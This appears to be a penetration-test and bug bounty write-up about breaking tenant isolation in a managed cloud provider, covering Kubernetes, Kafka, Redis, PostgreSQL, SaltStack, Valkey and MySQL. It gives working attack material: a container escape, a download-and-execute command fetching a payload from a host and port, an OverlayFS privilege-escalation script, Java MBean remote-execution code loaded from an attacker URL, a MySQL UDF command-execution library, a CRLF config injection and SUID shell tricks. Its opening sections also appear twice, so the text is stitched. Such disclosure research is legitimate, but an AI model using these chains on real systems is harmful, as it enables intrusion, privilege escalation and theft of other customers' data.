This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Gaining root privileges opened up several interesting attack vectors:

1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

• JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
• JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
• ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

1. Create a standard MLet loader inside the Kafka JVM.
2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

This storage holds backups not only of the current instance but also of all other databases in the cloud.

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

